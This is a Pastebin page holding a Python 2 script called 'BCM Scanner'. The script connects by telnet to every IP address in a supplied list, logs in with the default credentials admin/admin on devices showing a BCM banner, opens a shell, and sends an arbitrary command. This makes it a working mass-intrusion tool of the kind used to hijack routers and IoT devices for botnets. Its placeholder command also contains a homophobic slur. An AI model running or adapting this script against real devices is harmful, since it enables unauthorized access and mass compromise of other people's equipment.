Advertisement
LNO_LiGhT

BCM Scanner By; LiGhT

Nov 13th, 2016
2,538
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.66 KB | None | 0 0
  1. #!/usr/bin/python
  2. # BCM Scanner / By; LiGhT
  3.  
  4. import threading, sys, time, random, socket, re, os
  5.  
  6. if len(sys.argv) < 2:
  7.         print "Usage: python "+sys.argv[0]+" <list>"
  8.         sys.exit()
  9.  
  10. ips = open(sys.argv[1], "r").readlines()
  11. username = "admin"
  12. password = "admin"
  13. cmd = "command here faggots"
  14. spawn_shell = "cat | sh"
  15. count = 0
  16. def readUntil(tn, string, timeout=15):
  17.     buf = ''
  18.     start_time = time.time()
  19.     while time.time() - start_time < timeout:
  20.         buf += tn.recv(1024)
  21.         time.sleep(0.01)
  22.         if string in buf: return buf
  23.     raise Exception('TIMEOUT!')
  24.  
  25. class BCMM(threading.Thread):
  26.         def __init__ (self, ip):
  27.             threading.Thread.__init__(self)
  28.             self.ip = str(ip).rstrip('\n')
  29.         def run(self):
  30.         try:
  31.             tn = socket.socket()
  32.             tn.settimeout(5)
  33.             tn.connect((self.ip,23))
  34.         except Exception:
  35.             print "[%s] Timeout"%(count)
  36.         try:
  37.             time.sleep(0.01)
  38.             hoho = ''
  39.             hoho += readUntil(tn, ":")
  40.             if "ogin" in hoho and "BCM" in hoho:
  41.                 tn.send(username + "\n")
  42.         except Exception:
  43.             tn.close()
  44.         try:
  45.             hoho = ''
  46.             hoho += readUntil(tn, ":")
  47.             if "assword" in hoho:
  48.                 tn.send(password + "\n")
  49.                 time.sleep(3)
  50.         except Exception:
  51.             tn.close()
  52.         try:
  53.             mp = ''
  54.             mp += tn.recv(1024)
  55.             if "#" in mp or "$" in mp or ">" in mp:
  56.                 tn.send(spawn_shell + "\n")
  57.                 time.sleep(1)
  58.                 tn.send(cmd + "\n")
  59.                 print "\033[32m[%s] command sent %s!\033[37m"%(count, self.ip)
  60.                 time.sleep(10)
  61.                 tn.close()             
  62.         except Exception:
  63.             tn.close()
  64.             print "[%s] Timeout"%(count)
  65. for ip in ips:
  66.     try:
  67.         count += 1
  68.         t = BCMM(ip)
  69.         t.start()
  70.         time.sleep(0.02)
  71.     except:
  72.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement